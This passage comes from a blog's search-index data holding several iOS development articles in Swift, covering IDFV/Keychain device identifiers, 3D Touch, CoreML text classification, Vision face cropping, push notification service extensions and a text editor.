permissions (banners, sounds, badges).It’s a bit awkward, which means that if the user denies notification permissions when asked and then turns them on in settings, only silent notification permissions will be enabled. Asking the user to turn on banners, sounds, and badges below is a bit difficult, so for now, it has been temporarily disabled.Further Reading Handling Push Notification Permission States from iOS 9 to iOS 12 (Swift) Implementing iOS Deferred Deep Link (Swift) Using mitmproxy for Man-in-the-Middle Sniffing on iOS + MacOS iOS 15 / MacOS Monterey Safari Will Be Able to Hide Real IPIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "All About iOS UUID (Swift/iOS ≥ 6)", "url": "/posts/a4bc3bce7513/", "categories": "ZRealm, Dev.", "tags": "iplayground, swift, ios-app-development, uuid, idfv", "date": "2018-10-25 22:26:20 +0800", "snippet": "All About iOS UUID (Swift/iOS ≥ 6)iPlayground 2018 Recap & All About UUIDIntroduction:Last Saturday and Sunday, I attended the iPlayground Apple software developer conference. This event was re...", "content": "All About iOS UUID (Swift/iOS ≥ 6)iPlayground 2018 Recap & All About UUIDIntroduction:Last Saturday and Sunday, I attended the iPlayground Apple software developer conference. This event was recommended by a colleague, and I wasn’t familiar with it before attending.Over the two days, the event and schedule were smooth, and the agenda included: Fun topics: Bicycles, Decaying Code, Evolution of iOS/API, Where’s Willy (CoreML Vision) Practical topics: Testing (XCUITest, Dependency Injection), Alternative animation effects with SpriteKit, GraphQL Advanced topics: In-depth Swift analysis, iOS Jailbreaking/Tweak development, ReduxThe Bicycle Project left a deep impression. Using an iPhone as a sensor to detect bicycle pedal rotation, the presenter switched slides while riding a bicycle on stage (the main goal was to create an open-source version of Zwift, sharing many pitfalls such as Client/Server communication, latency issues, and magnetic interference).Decaying Dirty Code; it resonated deeply, bringing a knowing smile. Technical debt accumulates this way: rushed development schedules lead to quick but poorly structured solutions, and subsequent developers don’t have time to refactor, causing the debt to pile up. Eventually, the only solution might be to start over.Testing (Design Patterns in XCUITest) by a senior from KKBOX was very open, sharing their methods, code examples, encountered issues, and solutions. This session was particularly beneficial for our work. Testing is an area I’ve always wanted to strengthen, and now I can study it thoroughly.Listening to the Lighting Talk made me want to share too 😂. I’ll prepare better next time!The official party afterward was sincere, with great food and drinks. Listening to the seniors’ heartfelt words was both relaxing and informative, enhancing many soft skills.NTU Backstage CafeI learned that this was the first edition, and I was truly honored to participate. Kudos to all the staff and speakers!The purpose of attending conferences is to: broaden horizons, absorb new knowledge, understand the ecosystem, and explore areas you wouldn’t normally encounter, and deepen expertise, by identifying any overlooked aspects or discovering new methods in familiar areas.I took many notes to study and savor later.All About UUIDAfter the conference, I immediately applied what I learned to our app. This session was led by senior Zonble, who has been writing from iPhone OS 2 to iOS 12, which is impressive. I started from iOS 11/Swift 4, so I missed the turbulent times when Apple changed APIs.It’s reasonable that UUIDs went from accessible to restricted. If used for good purposes: identifying user devices, advertising, or third-party operations, it can be beneficial. But if misused, it can track and profile users (e.g., knowing you often travel, have kids, and live in Taipei based on installed apps like travel, Taipei bus, BMW, and baby care apps). Combined with personal data entered in apps, the potential misuse is concerning.However, this also affects many legitimate users. Using UUIDs for user data decryption keys or device identification is significantly impacted. I admire the engineers of that era; the impact would have caused complaints from bosses and users, requiring quick alternative solutions.Alternatives:This article focuses on obtaining UUIDs to identify unique devices. For alternatives to knowing which apps a user has installed, consider these keywords: UIPasteboard pasteboardWithName: create: (using the clipboard to share between apps), canOpenURL: info.plist LSApplicationQueriesSchemes (using canOpenURL to check if an app is installed, listing up to 50 entries in info.plist) Using MAC Address as UUID, but this was also banned later. Finger Printing (Canvas/User-Agent…): Not researched, but mainly used to generate the same UUID for Safari and apps, Deferred Deep Linking.AmIUnique? ID entifier F or V endor (IDFV): Currently the mainstream solution 🏆.The concept is that Apple generates a UUID for the user based on the Bundle ID prefix. The same Bundle ID prefix will generate the same UUID, e.g., com.518.work/com.518.job will get the same UUID on the same device.As the name suggests, ID For Vendor, Apple considers apps with the same prefix as from the same vendor, so sharing UUIDs is allowed.ID entifier F or V endor (IDFV):let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidStringNote: When all apps from the same vendor are removed and then reinstalled, a new UUID will be generated ( if both com.518.work and com.518.job are deleted, and then com.518.work is reinstalled, a new UUID will be generated ) Similarly, if you have only one app, deleting and reinstalling it will generate a new UUIDDue to this characteristic, our company’s other apps use Key-Chain to solve this problem. After listening to the advice of experienced speakers, we have verified that this approach is correct!The process is as follows:When the Key-Chain UUID field has a value, retrieve it; otherwise, get the UUID value of IDFA and write it backKey-Chain writing method:if let data = DEVICE_UUID.data(using: .utf8) { let query = [ kSecClass as String : kSecClassGenericPassword as String, kSecAttrAccount as String : \"DEVICE_UUID\", kSecValueData as String : data ] as [String : Any] SecItemDelete(query as CFDictionary) SecItemAdd(query as CFDictionary, nil)}Key-Chain reading method:let query = [ kSecClass as String : kSecClassGenericPassword, kSecAttrAccount as String : \"DEVICE_UUID\", kSecReturnData as String : kCFBooleanTrue, kSecMatchLimit as String : kSecMatchLimitOne ] as [String : Any]var dataTypeRef: AnyObject? = nillet status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef)if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) { //uuid} If you find Key-Chain operations too cumbersome, you can encapsulate them yourself or use third-party libraries.Complete CODE:let DEVICE_UUID:String = { let query = [ kSecClass as String : kSecClassGenericPassword, kSecAttrAccount as String : \"DEVICE_UUID\", kSecReturnData as String : kCFBooleanTrue, kSecMatchLimit as String : kSecMatchLimitOne ] as [String : Any] var dataTypeRef: AnyObject? = nil let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef) if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) { return uuid } else { let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString if let data = DEVICE_UUID.data(using: .utf8) { let query = [ kSecClass as String : kSecClassGenericPassword as String, kSecAttrAccount as String : \"DEVICE_UUID\", kSecValueData as String : data ] as [String : Any] SecItemDelete(query as CFDictionary) SecItemAdd(query as CFDictionary, nil) } return DEVICE_UUID }}()Because I need to reference it in other Extension Targets, I directly wrapped it into a closure parameter for use.If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)", "url": "/posts/1ca246e27273/", "categories": "ZRealm, Dev.", "tags": "ios, swift, 3d-touch, iphone, ios-app-development", "date": "2018-10-18 22:36:57 +0800", "snippet": "[Deprecated] Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)iOS 3D TOUCH Application[Deprecated] 2020/06/14 3D Touch functionality has been removed in iPhone 11 and later versio...", "content": "[Deprecated] Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)iOS 3D TOUCH Application[Deprecated] 2020/06/14 3D Touch functionality has been removed in iPhone 11 and later versions; it has been replaced by Haptic Touch, which is implemented differently.Some time ago, during a break in project development, I explored many interesting iOS features: CoreML, Vision, Notification Service Extension, Notification Content Extension, Today Extension, Core Spotlight, Share Extension, SiriKit (some have been organized into articles, others are coming soon 🤣)Among them is today’s main feature: 3D TouchThis feature, supported since iOS 9/iPhone 7, only became useful to me after I upgraded from an iPhone 6 to an iPhone 8!3D Touch can implement two features in an APP, as follows: Preview ViewController Preview Function — Wedding App 3D Touch Shortcut APP Shortcut Launch FunctionThe first feature is the most widely used and effective (Facebook: content preview in news feed, Line: sneak peek at messages), while the second feature, APP Shortcut Launch, is less commonly used based on data, so it will be discussed last.1. Preview ViewController Preview Function:As shown in the first image above, the ViewController preview function supports: Background blur when 3D Touch is pressed ViewController preview window pops up when 3D Touch is pressed ViewController preview window pops up when 3D Touch is pressed, with an option menu at the bottom when swiped up Return to the window when 3D Touch is released Enter the target ViewController with a harder press after 3D TouchHere, we will list the code to implement in A: List View and B: Target View separately:Since there is no way to determine whether the current view is a preview or an actual entry in B, we first create a Protocol to pass values for judgment:protocol UIViewControllerPreviewable { var is3DTouchPreview: Bool { get set }}This way, we can make the following judgments in B:class BViewController:UIViewController, UIViewControllerPreviewable { var is3DTouchPreview:Bool = false override func viewDidLoad() { super.viewDidLoad() if is3DTouchPreview { // If it is a preview window... for example: full screen, hide the toolbar } else { // Display normally in full mode } }A: List window, can be UITableView or UICollectionView:class AViewController:UIViewController { // Register the View that can 3D Touch override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?) { super.traitCollectionDidChange(previousTraitCollection) if traitCollection.forceTouchCapability == .available { // TableView: registerForPreviewing(with: self, sourceView: self.TableView) // CollectionView: registerForPreviewing(with: self, sourceView: self.CollectionView) } } }extension AViewController: UIViewControllerPreviewingDelegate { // Handling after 3D Touch is released func previewingContext(_ previewingContext: UIViewControllerPreviewing, commit viewControllerToCommit: UIViewController) { // Now we need to navigate to the page directly, so cancel the preview mode parameter of the ViewController: if var viewControllerToCommit = viewControllerToCommit as? UIViewControllerPreviewable { viewControllerToCommit.is3DTouchPreview = false } self.navigationController?.pushViewController(viewControllerToCommit, animated: true) } // Control the position of the 3D Touch Cell, the ViewController to be displayed func previewingContext(_ previewingContext: UIViewControllerPreviewing, viewControllerForLocation location: CGPoint) -> UIViewController? { // Get the current indexPath/cell entity // TableView: guard let indexPath = TableView.indexPathForRow(at: location), let cell = TableView.cellForRow(at: indexPath) else { return nil } // CollectionView: guard let indexPath = CollectionView.indexPathForItem(at: location), let cell = CollectionView.cellForItem(at: indexPath) else { return nil } // The ViewController to be displayed let targetViewController = UIStoryboard(name: \"StoryboardName\", bundle: nil).instantiateViewController(withIdentifier: \"ViewControllerIdentifier\") // Retain area when background is blurred (usually the click location), see Figure 1 previewingContext.sourceRect = cell.frame // 3D Touch window size, default is adaptive, no need to change // To modify, use: targetViewController.preferredContentSize = CGSize(width: 0.0, height: 0.0) // Inform the previewing ViewController that it is currently in preview mode: if var targetViewController = targetViewController as? UIViewControllerPreviewable { targetViewController.is3DTouchPreview = true } // Returning nil has no effect return nil }} Note! The registration of the 3D Touch View should be placed in traitCollectionDidChange instead of “viewDidLoad” ( refer to this content ) I encountered many issues regarding where to place it. Some sources on the internet suggest viewDidLoad, while others suggest cellForItem. However, both places may occasionally fail or cause some cells to malfunction.Figure 1 Background Blur Reserved Area DiagramIf you need to add an options menu after swiping up, please add it in B. It’s B, B, B!override var previewActionItems: [UIPreviewActionItem] { let profileAction = UIPreviewAction(title: \"View Merchant Info\", style: .default) { (action, viewController) -> Void in // Action after clicking } return [profileAction]}Returning an empty array indicates that this feature is not used.Done!2. APP Shortcut LaunchStep 1Add the UIApplicationShortcutItems parameter in info.plist, type ArrayAnd add menu items (Dictionary) within it, with the following Key-Value settings: [Required] UIApplicationShortcutItemType: Identifier string, used for judgment in AppDelegate [Required] UIApplicationShortcutItemTitle: Option title UIApplicationShortcutItemSubtitle: Option subtitle UIApplicationShortcutItemIconType: Use system iconReferenced from this article UIApplicationShortcutItemIconFile: Use custom icon (size: 35x35, single color), use either this or UIApplicationShortcutItemIconType UIApplicationShortcutItemUserInfo: Additional information EX: [id:1]My settings as shown aboveStep 2Add the handling function in AppDelegatefunc application(_ application: UIApplication, performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) { var info = shortcutItem.userInfo switch shortcutItem.type { case \"searchShop\": // case \"topicList\": // case \"likeWorksPic\": // case \"marrybarList\": // default: break } completionHandler(true)}Done!ConclusionAdding 3D Touch functionality to the APP is not difficult and users will find it very considerate ❤; it can be combined with design operations to enhance user experience. However, currently, only the two functions mentioned above can be implemented, and since iPhone 6s and below/iPad/iPhone XR do not support 3D Touch, the actual functionalities that can be done are even fewer, mainly serving as an aid to enhance the experience.p.s.If you test carefully enough, you will notice the above effect. When part of the image in the CollectionView has already slid out of the screen, pressing it will result in the above situation 😅If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!", "url": "/posts/793bf2cdda0f/", "categories": "ZRealm, Dev.", "tags": "swift, ios, machine-learning, natural-language-process, ios-app-development", "date": "2018-10-17 23:20:35 +0800", "snippet": "Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!Explore CoreML 2.0, how to convert or train models and apply them in real pr...", "content": "Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!Explore CoreML 2.0, how to convert or train models and apply them in real productsFollowing the previous article on researching machine learning on iOS, this article officially delves into using CoreML.First, a brief history: Apple released CoreML (including Vision introduced in the previous article) machine learning framework in 2017; in 2018, they followed up with CoreML 2.0, which not only improved performance but also supports custom CoreML models.IntroductionIf you’ve only heard the term “machine learning” but don’t understand what it means, here’s a simple explanation in one sentence: “Predict the outcome of similar future events based on your past experiences.” For example: I like to add ketchup to my egg pancake. After buying it a few times, the breakfast shop owner remembers, “Sir, ketchup?” I reply, “Yes” — the owner predicts correctly; if I reply, “No, because it’s radish cake + egg pancake” — the owner remembers and adjusts the question next time. Input data: egg pancake, cheese egg pancake, egg pancake + radish cake, radish cake, egg Output data: add ketchup / no ketchup Model: the owner’s memory and judgmentMy understanding of machine learning is also purely theoretical, without in-depth practical knowledge. If there are any mistakes, please correct me.This is where I must thank Apple for productizing machine learning, making it accessible with just basic concepts and lowering the entry barrier. It was only after implementing this example that I felt a tangible connection to machine learning, sparking a great interest in this field.Getting StartedThe first and most important step is the “model” mentioned earlier. Where do models come from?There are three ways: Find pre-trained models online and convert them to CoreML format.Awesome-CoreML-Models is a GitHub project that collects many pre-trained models.For model conversion, refer to the official website or online resources. Download pre-trained models from Apple’s Machine Learning website at the bottom of the page, mainly for learning or testing purposes. Use tools to train your own model🏆So, what can you do? Image recognition 🏆 Text content recognition and classification🏆 Text segmentation Language detection Named entity recognitionFor text segmentation, refer to Natural Language Processing in iOS Apps: An Introduction to NSLinguisticTaggerToday’s Main Focus — Text Content Recognition and Classification + Training Your Own ModelIn simple terms, we provide the machine with “text content” and “categories” to train the computer to classify future data. For example: “Click to see the latest offers!”, “Get $1000 shopping credit now” => “Advertisement”; “Alan sent you a message”, “Your account is about to expire” => “Important matters”Practical applications: spam detection, tag generation, classification predictionp.s. I haven’t thought of any practical uses for image recognition yet, so I haven’t researched it; interested friends can check this article, the official site provides a convenient GUI training tool for images!!Required Tools: MacOS Mojave⬆ + Xcode 10Training Tool: BlankSpace007/TextClassiferPlayground (The official tool only provides GUI training tools for images, for text you need to write your own; this is a third-party tool provided by an expert online)Preparing Training Data:Data structure as shown above, supports .json, .csv filesPrepare the data to be used for training, here we use Phpmyadmin (Mysql) to export the training dataSELECT `title` AS `text`,`type` AS `label` FROM `posts` WHERE `status` = '1'Change the export format to JSON[ {\"type\":\"header\",\"version\":\"4.7.5\",\"comment\":\"Export to JSON plugin for PHPMyAdmin\"}, {\"type\":\"database\",\"name\":\"db\"}, {\"type\":\"table\",\"name\":\"posts\",\"database\":\"db\",\"data\": // Delete above [ { \"label\":\"\", \"text\":\"\" } ] // Delete below }]Open the downloaded JSON file and keep only the content within the DATA structureUsing the Training Tool:After downloading the training tool, click TextClassifer.playground to open PlaygroundClick the red box to execute -> click the green box to switch View displayDrag the JSON file into the GUI toolOpen the Console below to check the training progress, seeing “Test Accuracy” means the model training is completeIf there is too much data, it will test your computer’s processing power.Fill in the basic information and click “Save”Save the trained model fileCoreML model fileAt this point, your model is already trained! Isn’t it easy?Specific Training Method: First, segment the input sentence (I want to know what needs to be prepared for the wedding => I want, to know, wedding, needs, to prepare, what), then see what its classification is and perform a series of machine learning calculations. Divide the training data into groups, for example: 80% for training and 20% for testing and validationAt this point, most of the work is done. Next, just add the model file to the iOS project and write a few lines of code.![Drag/drop the model file (.mlmodel) into the project](/assets/793bf2cdda0f/14Uc1elBmhEnQ-J8z_RIQHQ.png)Drag/drop the model file (*.mlmodel) into the projectCode Part:import CoreML//if #available(iOS 12.0, *),let prediction = try? textClassifier().prediction(text: \"Text content to predict\") { let type = prediction.label print(\"I think it is...\\(type)\")}Done!Questions to Explore: Can it support further learning? Can the mlmodel model file be converted to other platforms? Can the model be trained on iOS?The above three points, based on the information currently available, are not feasible.Conclusion:Currently, I am applying it in a practical APP to predict the classification when posting articles.Wedding AppI used about 100 pieces of training data, and the current prediction accuracy is about 35%, mainly for experimental purposes.— — — — —It’s that simple to complete the first machine learning project in your life; there is still a long way to go to learn how the background works. I hope this project can give everyone some inspiration!References: WWDC2018 Create ML (Part 2)If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)", "url": "/posts/9a9aa892f9a9/", "categories": "ZRealm, Dev.", "tags": "swift, machine-learning, facedetection, ios, ios-app-development", "date": "2018-10-17 00:01:24 +0800", "snippet": "Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)Practical Application of Vision[2024/08/13 Update] Refer to the new article and API: “iOS Vision framework x WW...", "content": "Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)Practical Application of Vision[2024/08/13 Update] Refer to the new article and API: “iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session”Without further ado, here is a comparison image:Before Optimization V.S. After Optimization — Marry Me APPWith the recent iOS 12 update, I noticed the new CoreML machine learning framework and found it quite interesting. I began to think about how to incorporate it into our current products. The article on trying out CoreML is now available: Automatically Predict Article Categories Using Machine Learning, Even Train the Model YourselfCoreML provides the ability to train and reference machine learning models for text and images in an app. Initially, I thought of using CoreML for face recognition to address the issue of cropping heads or faces in the app, as shown on the left in the image above. Faces can easily be cut off due to scaling and cropping if they appear at the edges.After some online research, I realized my knowledge was limited, and this functionality was already available in iOS 11 through the “Vision” framework, which supports text detection, face detection, image comparison, QR code detection, object tracking, and more.In this case, I utilized the face detection feature from Vision and optimized it as shown on the right in the image; finding faces and cropping around them.Let’s get started with the practical implementation:First, let’s create a feature that can mark the position of faces and get familiar with how to use Vision.Demo APPAs shown in the completed image above, it can mark the positions of faces in the photo.P.S. It can only mark “faces,” not the entire head including hair 😅This program mainly consists of two parts. The first part addresses the issue of white space when resizing the original image to fit into an ImageView. In simple terms, we want the ImageView size to match the image size. Directly inserting the image can cause misalignment as shown below.You might consider changing the ContentMode to fill, fit, or redraw, but this may cause distortion or cropping of the image.let ratio = UIScreen.main.bounds.size.width// Here, I set the alignment of my UIImageView to 0 on both sides, with an aspect ratio of 1:1let sourceImage = UIImage(named: \"Demo2\")?.kf.resize(to: CGSize(width: ratio, height: CGFloat.leastNonzeroMagnitude), for: .aspectFill)// Using KingFisher's image resizing feature, based on width, with flexible heightimageView.contentMode = .redraw// Using redraw to fill the contentModeimageView.image = sourceImage// Assigning the imageimageViewConstraints.constant = (ratio - (sourceImage?.size.height ?? 0))imageView.layoutIfNeeded()imageView.sizeToFit()// Here, I adjust the constraints of the imageView. For more details, refer to the complete example at the end of the documentHere is the translated content:The above is the processing for images.The cropping part uses Kingfisher to assist us, and can also be replaced with other libraries or custom methods.Next, let’s focus on the code directly.if #available(iOS 11.0, *) { // Supported after iOS 11 let completionHandle: VNRequestCompletionHandler = { request, error in if let faceObservations = request.results as? [VNFaceObservation] { // Recognized faces DispatchQueue.main.async { // Operate on UIView, switch back to the main thread let size = self.imageView.frame.size faceObservations.forEach({ (faceObservation) in // Coordinate system conversion let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height) let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height) let transRect = faceObservation.boundingBox.applying(translate).applying(transform) let markerView = UIView(frame: transRect) markerView.backgroundColor = UIColor.init(red: 0/255, green: 255/255, blue: 0/255, alpha: 0.3) self.imageView.addSubview(markerView) }) } } else { print(\"No faces detected\") } } // Recognition request let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle) let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:]) DispatchQueue.global().async { // Recognition takes time, so it is executed in the background thread to avoid freezing the current screen do{ try faceHandle.perform([baseRequest]) }catch{ print(\"Throws: \\(error)\") } } } else { // print(\"Not supported\")}The main thing to note is the coordinate system conversion part; the results recognized are in the original coordinates of the image; we need to convert it to the actual coordinates of the ImageView outside to use it correctly.Next, let’s focus on today’s highlight - cropping the correct position of the avatar according to the position of the face.let ratio = UIScreen.main.bounds.size.width// Here, because I set the left and right alignment of my UIImageView to 0, with a ratio of 1:1, details can be found in the complete example at the endlet sourceImage = UIImage(named: \"Demo\")imageView.contentMode = .scaleAspectFill// Use scaleAspectFill mode to fillimageView.image = sourceImage// Assign the original image, we will operate on it laterif let image = sourceImage, #available(iOS 11.0, *), let ciImage = CIImage(image: image) { let completionHandle: VNRequestCompletionHandler = { request, error in if request.results?.count == 1, let faceObservation = request.results?.first as? VNFaceObservation { // One face let size = CGSize(width: ratio, height: ratio) let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height) let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height) let finalRect = faceObservation.boundingBox.applying(translate).applying(transform) let center = CGPoint(x: (finalRect.origin.x + finalRect.width/2 - size.width/2), y: (finalRect.origin.y + finalRect.height/2 - size.height/2)) // Here is the calculation of the middle point position of the face range let newImage = image.kf.resize(to: size, for: .aspectFill).kf.crop(to: size, anchorOn: center) // Crop the image according to the center point DispatchQueue.main.async { // Operate on UIView, switch back to the main thread self.imageView.image = newImage } } else { print(\"Detected multiple faces or no faces detected\") } } let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle) let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:]) DispatchQueue.global().async { do{ try faceHandle.perform([baseRequest]) }catch{ print(\"Throws: \\(error)\") } }} else { print(\"Not supported\")}The logic is similar to marking the position of a face, the difference is that the avatar part has a fixed size (e.g. 300x300), so we skip the first part that requires the Image to fit the ImageView.Another difference is that we need to calculate the center point of the face area and use this center point as the reference for cropping the image.The red dot is the center point of the face area.Final effect image:The second before the blink is the original image position.Complete app example:The code has been uploaded to Github: Click hereFor any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS ≥ 10 Notification Service Extension Application (Swift)", "url": "/posts/cb6eba52a342/", "categories": "ZRealm, Dev.", "tags": "swift, push-notification, notificationservice, ios, ios-app-development", "date": "2018-10-15 23:44:01 +0800", "snippet": "iOS ≥ 10 Notification Service Extension Application (Swift)Image push notifications, push notification display statistics, pre-processing before push notification displayRegarding the basics of pus...", "content": "iOS ≥ 10 Notification Service Extension Application (Swift)Image push notifications, push notification display statistics, pre-processing before push notification displayRegarding the basics of push notification setup and principles; there is a lot of information available online, so it will not be discussed here. This article focuses on how to enable the app to support image push notifications and use new features to achieve more accurate push notification display statistics.As shown in the image above, the Notification Service Extension allows you to pre-process the push notification after the app receives it, and then display the push notification content.The official documentation states that when we process the incoming push notification content, the processing time limit is about 30 seconds. If the callback is not made within 30 seconds, the push notification will continue to execute and appear on the user’s phone.SupportiOS ≥ 10.0What can be done in 30 seconds? (Goal 1) Download the image from the image link field in the push notification content and attach it to the push notification content 🏆 (Goal 2) Statistics on whether the push notification was displayed 🏆 Modify and reorganize the push notification content Encrypt and decrypt (decrypt) the push notification content for display Decide whether to display the push notification? => Answer: NoFirst, the Payload part of the backend push notification programThe structure of the backend push notification needs to add a line \"mutable-content\":1 for the system to execute the Notification Service Extension when it receives the push notification{ \"aps\": { \"alert\": { \"title\": \"New article recommended for you\", \"body\": \"Check it out now\" }, \"mutable-content\":1, \"sound\": \"default\", \"badge\": 0 }}And… Step one, create a new Target for the projectStep 1. Xcode -> File -> New -> TargetStep 2. iOS -> Notification Service Extension -> NextStep 3. Enter Product Name -> FinishStep 4. Click ActivateStep two, write the push notification content processing programFind the Product Name/NotificationService.swift fileimport UserNotificationsclass NotificationService: UNNotificationServiceExtension { var contentHandler: ((UNNotificationContent) -> Void)? var bestAttemptContent: UNMutableNotificationContent? override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) { self.contentHandler = contentHandler bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent) if let bestAttemptContent = bestAttemptContent { // Modify the notification content here... // Process the push notification content here, load the image back bestAttemptContent.title = \"\\(bestAttemptContent.title) [modified]\" contentHandler(bestAttemptContent) } } override func serviceExtensionTimeWillExpire() { // Called just before the extension will be terminated by the system. // Use this as an opportunity to deliver your \"best attempt\" at modified content, otherwise the original push payload will be used. // Time is about to expire, ignore the image, just modify the title content if let contentHandler = contentHandler, let bestAttemptContent = bestAttemptContent { contentHandler(bestAttemptContent) } }}As shown in the code above, NotificationService has two interfaces; the first one is didReceive, which is triggered when a push notification arrives. After processing, you need to call the contentHandler(bestAttemptContent) callback method to inform the system.If the callback method is not called within a certain time, the second function serviceExtensionTimeWillExpire() will be triggered due to timeout. At this point, there’s not much you can do except some final touches (e.g., simply changing the title or content without loading network data).Practical ExampleHere we assume our payload is as follows:{ \"aps\": { \"alert\": { \"push_id\":\"2018001\", \"title\": \"New Article Recommended for You\", \"body\": \"Check it out now\", \"image\": \"https://d2uju15hmm6f78.cloudfront.net/image/2016/12/04/3113/2018/09/28/trim_153813426461775700_450x300.jpg\" }, \"mutable-content\":1, \"sound\": \"default\", \"badge\": 0 }}“push_id” and “image” are custom fields. The push_id is used to identify the push notification for easier tracking and reporting back to the server; the image is the URL of the image content to be attached to the push notification.override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) { self.contentHandler = contentHandler bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent) if let bestAttemptContent = bestAttemptContent { guard let info = request.content.userInfo[\"aps\"] as? NSDictionary, let alert = info[\"alert\"] as? Dictionary<String, String> else { contentHandler(bestAttemptContent) return // Push notification content format is not as expected, do not process } // Goal 2: // Report to the server that the push notification has been displayed if let push_id = alert[\"push_id\"], let url = URL(string: \"Display Statistics API URL\") { var request = URLRequest(url: url, cachePolicy: .reloadIgnoringLocalCacheData, timeoutInterval: 30) request.httpMethod = \"POST\" request.addValue(UserAgent, forHTTPHeaderField: \"User-Agent\") var httpBody = \"push_id=\\(push_id)\" request.addValue(\"application/x-www-form-urlencoded\", forHTTPHeaderField: \"Content-Type\") request.httpBody = httpBody.data(using: .utf8) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in } DispatchQueue.global().async { task.resume() // Asynchronous processing, ignore it } } // Goal 1: guard let imageURLString = alert[\"image\"], let imageURL = URL(string: imageURLString) else { contentHandler(bestAttemptContent) return // If no image is attached, no special processing is needed } let dataTask = URLSession.shared.dataTask(with: imageURL) { (data, response, error) in guard let fileURL = NSURL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent(imageURL.lastPathComponent) else { contentHandler(bestAttemptContent) return } guard (try? data?.write(to: fileURL)) != nil else { contentHandler(bestAttemptContent) return } guard let attachment = try? UNNotificationAttachment(identifier: \"image\", url: fileURL, options: nil) else { contentHandler(bestAttemptContent) return } // The above reads the image link, downloads it to the phone, and creates a UNNotificationAttachment bestAttemptContent.categoryIdentifier = \"image\" bestAttemptContent.attachments = [attachment] // Add the image attachment to the push notification bestAttemptContent.body = (bestAttemptContent.body == \"\") ? (\"Check it out now\") : (bestAttemptContent.body) // If the body is empty, use the default content \"Check it out now\" contentHandler(bestAttemptContent) } dataTask.resume() }}serviceExtensionTimeWillExpire part I didn’t handle specifically, so I won’t paste it; the key is still the didReceive code mentioned above.You can see that when a push notification is received, we first call the API to inform the backend that it has been received and will be displayed, which helps us with push notification statistics in the backend; then, if there is an attached image, we process the image.In-App state:The Notification Service Extension didReceive will still be triggered, followed by the AppDelegate’s func application( _ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable : Any ], fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) method.Note: Regarding image push notifications, you can also…Use Notification Content Extension to customize the UIView to be displayed when the push notification is pressed (you can create it yourself), as well as the actions upon pressing.Refer to this article: iOS10 Advanced Push Notifications (Notification Extension)iOS 12 and later supports more action handling: iOS 12 New Notification Features: Adding Interactivity and Implementing Complex Functions in NotificationsFor the Notification Content Extension part, I only created a UIView to display image push notifications without much elaboration:Wedding AppIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS UITextView Text Wrapping Editor (Swift)", "url": "/posts/e37d66ea1146/", "categories": "ZRealm, Dev.", "tags": "swift, ios, mobile-app-development, uitextview, ios-app-development", "date": "2018-10-14 02:07:49 +0800", "snippet": "iOS UITextView Text Wrapping Editor (Swift)Practical RouteTarget Functionality:The app has a discussion area where users can post articles. The interface for posting articles needs to support text ...", "content": "iOS UITextView Text Wrapping Editor (Swift)Practical RouteTarget Functionality:The app has a discussion area where users can post articles. The interface for posting articles needs to support text input, inserting multiple images, and text wrapping with images.Functional Requirements: Ability to input multiple lines of text Ability to insert images within the text Ability to upload multiple images Ability to freely remove inserted images Image upload effects/failure handling Ability to translate input content into a transmittable text format, e.g., BBCODEHere’s a preview of the final product:Wedding AppLet’s Start:Chapter OneWhat? You say Chapter One? Isn’t it just using UITextView to achieve the editor functionality, why does it need to be divided into “chapters”? Yes, that was my initial reaction too, until I started working on it and realized it wasn’t that simple. It troubled me for two weeks, searching through various resources both domestic and international before finding a solution. Let me narrate my journey…If you want to know the final solution directly, please skip to the last chapter (scroll down down down down).At the BeginningOf course, the text editor 